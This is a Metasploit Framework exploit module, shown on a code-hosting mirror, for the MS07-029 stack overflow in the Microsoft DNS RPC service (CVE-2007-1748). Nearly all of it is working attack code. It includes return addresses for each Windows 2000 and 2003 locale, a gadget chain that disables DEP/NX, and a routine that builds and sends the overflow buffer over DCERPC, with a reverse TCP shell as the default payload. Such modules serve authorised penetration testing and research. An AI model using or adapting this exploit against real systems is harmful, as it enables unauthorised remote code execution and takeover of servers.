Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/dcerpc/ms07_029_msdns_zonename.rb
19567 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::DCERPC
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'MS07-029 Microsoft DNS RPC Service extractQuotedChar() Overflow (TCP)',
16
'Description' => %q{
17
This module exploits a stack buffer overflow in the RPC interface
18
of the Microsoft DNS service. The vulnerability is triggered
19
when a long zone name parameter is supplied that contains
20
escaped octal strings. This module is capable of bypassing NX/DEP
21
protection on Windows 2003 SP1/SP2.
22
},
23
'Author' => [
24
'hdm', # initial module
25
'Unknown', # 2 unknown contributors (2003 support)
26
'bcoles' # additional target offsets
27
],
28
'License' => MSF_LICENSE,
29
'References' => [
30
['CVE', '2007-1748'],
31
['OSVDB', '34100'],
32
['MSB', 'MS07-029']
33
],
34
'Privileged' => true,
35
'DefaultOptions' => {
36
'EXITFUNC' => 'thread',
37
'PAYLOAD' => 'windows/shell/reverse_tcp'
38
},
39
'Payload' => {
40
'Space' => 500,
41
42
# The payload doesn't matter, but make_nops() uses these too
43
'BadChars' => "\x00",
44
45
'StackAdjustment' => -3500,
46
47
},
48
'Platform' => 'win',
49
'Targets' => [
50
[ 'Automatic (2000 SP0-SP4, 2003 SP0-SP2)', {} ],
51
52
# p/p/r WS2HELP.DLL
53
[ 'Windows 2000 Server SP0-SP4+ English', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x75022ac4 } ],
54
[ 'Windows 2000 Server SP0-SP4+ French', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fa2ac4 } ],
55
[ 'Windows 2000 Server SP0-SP4+ German', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74f92ac4 } ],
56
[ 'Windows 2000 Server SP0-SP4+ Italian', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fd2ac4 } ],
57
[ 'Windows 2000 Server SP0-SP4+ Polish', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fb2ac4 } ],
58
[ 'Windows 2000 Server SP0-SP4+ Portuguese', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fd2ac4 } ],
59
[ 'Windows 2000 Server SP0-SP4+ Korean', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74f92ac4 } ],
60
[ 'Windows 2000 Server SP0-SP4+ Russian', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fb2ac4 } ],
61
[ 'Windows 2000 Server SP0-SP4+ Simplified Chinese', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fa2ac4 } ],
62
[ 'Windows 2000 Server SP0-SP4+ Spanish', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fd2ac4 } ],
63
[ 'Windows 2000 Server SP0-SP4+ Swedish', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fa2ac4 } ],
64
[ 'Windows 2000 Server SP0-SP4+ Traditional Chinese', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fa2ac4 } ],
65
[ 'Windows 2000 Server SP0-SP4+ Turkish', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fc2ac4 } ],
66
67
# Use the __except_handler3 method (and jmp esp in ATL.dll)
68
[ 'Windows 2003 Server SP0 English', { 'OS' => '2003SP0', 'Off' => 1593, 'Rets' => [0x77f45a34, 0x77f7e7f0, 0x76a935bf] } ],
69
[ 'Windows 2003 Server SP0 French', { 'OS' => '2003SP0', 'Off' => 1593, 'Rets' => [0x77f35a34, 0x77f6e7f0, 0x76a435bf] } ],
70
71
# ATL.DLL (bypass DEP/NX, IB -> Image Base of ATL.dll)
72
[ 'Windows 2003 Server SP1-SP2 English', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76a80000 } ],
73
[ 'Windows 2003 Server SP1-SP2 French', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76a30000 } ],
74
[ 'Windows 2003 Server SP1-SP2 Spanish', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76a30000 } ],
75
[ 'Windows 2003 Server SP1-SP2 Italian', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76970000 } ],
76
[ 'Windows 2003 Server SP1-SP2 German', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76970000 } ],
77
[ 'Windows 2003 Server SP1-SP2 Russian', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x769a0000 } ],
78
[ 'Windows 2003 Server SP1-SP2 Simplified Chinese', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x769c0000 } ],
79
],
80
'DisclosureDate' => '2007-04-12',
81
'DefaultTarget' => 0,
82
'Notes' => {
83
'Reliability' => UNKNOWN_RELIABILITY,
84
'Stability' => UNKNOWN_STABILITY,
85
'SideEffects' => UNKNOWN_SIDE_EFFECTS
86
}
87
)
88
)
89
90
register_options(
91
[
92
Opt::RPORT(0),
93
OptString.new('Locale', [ true, "Locale for automatic target (English, French, Italian, ...)", 'English'])
94
]
95
)
96
end
97
98
def gettarget(os)
99
targets.each do |target|
100
if ((target['OS'] =~ /#{os}/) && (target.name =~ /#{datastore['Locale']}/))
101
return target
102
end
103
end
104
105
return nil
106
end
107
108
def exploit
109
# Ask the endpoint mapper to locate the port for us
110
dport = datastore['RPORT'].to_i
111
112
if ((dport != 0) && (target.name =~ /Automatic/))
113
print_error("Unable to use automatic targeting when RPORT is given");
114
return
115
end
116
117
if (dport == 0)
118
119
dport = dcerpc_endpoint_find_tcp(datastore['RHOST'], '50abc2a4-574d-40b3-9d66-ee4fd5fba076', '5.0', 'ncacn_ip_tcp')
120
121
if (not dport)
122
print_error("Could not determine the RPC port used by the Microsoft DNS Server")
123
return
124
end
125
126
print_status("Discovered Microsoft DNS Server RPC service on port #{dport}")
127
end
128
129
mytarget = nil
130
131
if (target.name =~ /Automatic/)
132
133
# scheduler service is only available on 2k3 SP0 and 2000
134
schedport = dcerpc_endpoint_find_tcp(datastore['RHOST'], '1ff70682-0a51-30e8-076d-740be8cee98b', '1.0', 'ncacn_ip_tcp')
135
136
if (not schedport)
137
print_status("Detected a Windows 2003 SP1-SP2 target...")
138
mytarget = gettarget('2003SP12')
139
else
140
# only available on 2003 SP0
141
schedport = dcerpc_endpoint_find_tcp(datastore['RHOST'], '0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53', '1.0', 'ncacn_ip_tcp')
142
143
if (not schedport)
144
print_status("Detected a Windows 2000 SP0-SP4 target...")
145
mytarget = gettarget('2000')
146
else
147
print_status("Detected a Windows 2003 SP0 target...")
148
mytarget = gettarget('2003SP0')
149
end
150
end
151
152
if (not mytarget)
153
fail_with(Failure::NoTarget, "There is no available target for '#{datastore['LOCALE']}' locale")
154
end
155
else
156
mytarget = target
157
end
158
159
# Connect to the high RPC port
160
connect(true, { 'RPORT' => dport })
161
print_status("Trying target #{mytarget.name}...")
162
163
# Bind to the service
164
handle = dcerpc_handle('50abc2a4-574d-40b3-9d66-ee4fd5fba076', '5.0', 'ncacn_ip_tcp', [datastore['RPORT']])
165
print_status("Binding to #{handle} ...")
166
dcerpc_bind(handle)
167
print_status("Bound to #{handle} ...")
168
169
# Create our buffer with our shellcode first
170
txt = Rex::Text.rand_text_alphanumeric(8192)
171
172
if (mytarget['OS'] =~ /2000/)
173
txt[0, payload.encoded.length] = payload.encoded
174
175
off = mytarget['Off']
176
txt[off] = [mytarget.ret].pack('V')
177
txt[off - 4, 2] = "\xeb\x06"
178
txt[off + 4, 5] = "\xe9" + [ (off + 9) * -1 ].pack('V')
179
180
elsif (mytarget['OS'] =~ /2003SP0/)
181
txt[0, payload.encoded.length] = payload.encoded
182
183
off = mytarget['Off']
184
txt[off] = [mytarget['Rets'][0]].pack('V') # __except_handler3
185
txt[off - 4, 2] = "\xeb\x16"
186
187
# addr = A + B*12 + 4 = 0x77f7e7f0 (ntdll -> 0x77f443c9)
188
addr = mytarget['Rets'][1] - 4
189
addr1 = addr / 2
190
addr2 = addr1 + addr % 2
191
addr1 = addr1 + (addr2 % 12)
192
addr2 = addr2 / 12
193
194
txt[off + 4, 8] = [addr1, addr2].pack('VV') # A,B
195
196
#
197
# then mov eax, [addr] sets eax to 0x77f443c9 and the code goes here :
198
#
199
# 0x77f443c9 jmp off_77f7e810[edx*4] ; edx = 0 so jmp to 77f443d0
200
# 0x77f443d0 mov eax, [ebp+arg_0]
201
# 0x77f443d3 pop esi
202
# 0x77f443d4 pop edi
203
# 0x77f443d5 leave ; mov esp, ebp
204
# 0x77f443d6 retn ; ret
205
206
txt[off + 16, 4] = [mytarget['Rets'][2]].pack('V') # jmp esp
207
txt[off + 20, 5] = "\xe9" + [ (off + 23) * -1 ].pack('V')
208
209
elsif (mytarget['OS'] =~ /2003SP12/)
210
off = mytarget['Off']
211
ib = mytarget['IB']
212
txt[off] = [ib + 0x2566].pack('V')
213
214
# to bypass NX we need to emulate the call to ZwSetInformationProcess
215
# with generic value (to work on SP1-SP2 + patches)
216
217
off = 445
218
219
# first we set esi to 0xed by getting the value on the stack
220
#
221
# 0x76a81da7:
222
# pop esi <- esi = edh
223
# retn
224
225
txt[off + 4, 4] = [ib + 0x1da7].pack('V')
226
txt[off + 28, 4] = [0xed].pack('V')
227
228
# now we set ecx to 0x7ffe0300, eax to 0xed
229
# 0x76a81da4:
230
# pop ecx <- ecx = 0x7ffe0300
231
# mov eax, esi <- eax == edh
232
# pop esi
233
# retn
234
235
txt[off + 32, 4] = [ib + 0x1da4].pack('V')
236
txt[off + 36, 4] = [0x7ffe0300].pack('V')
237
238
# finally we call NtSetInformationProcess (-1, 34, 0x7ffe0270, 4)
239
# 0x7FFE0270 is a pointer to 0x2 (os version info :-) to disable NX
240
# 0x76a8109c:
241
# call dword ptr [ecx]
242
243
txt[off + 44, 4] = [ib + 0x109c].pack('V') # call dword ptr[ecx]
244
txt[off + 52, 16] = [-1, 34, 0x7FFE0270, 4].pack('VVVV')
245
246
# we catch the second exception to go back to our shellcode, now that
247
# NX is disabled
248
249
off = 1013
250
txt[off, 4] = [ib + 0x135bf].pack('V') # (jmp esp in atl.dll)
251
txt[off + 24, payload.encoded.length] = payload.encoded
252
253
end
254
255
req = ''
256
257
# Convert the string to escaped octal
258
txt.unpack('C*').each do |c|
259
req << "\\"
260
req << c.to_s(8)
261
end
262
263
# Build the RPC stub data
264
stubdata =
265
NDR.long(rand(0xffffffff)) +
266
NDR.wstring(Rex::Text.rand_text_alpha(1) + "\x00\x00") +
267
NDR.long(rand(0xffffffff)) +
268
NDR.string(req + "\x00") +
269
NDR.long(rand(0xffffffff)) +
270
NDR.string(Rex::Text.rand_text_alpha(1) + "\x00")
271
272
print_status('Sending exploit...')
273
274
begin
275
response = dcerpc.call(1, stubdata)
276
277
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
278
print_status(">> " + dcerpc.last_response.stub_data.unpack("H*")[0])
279
end
280
rescue ::Exception => e
281
print_error("Error: #{e}")
282
end
283
284
handler
285
disconnect
286
end
287
end
288
289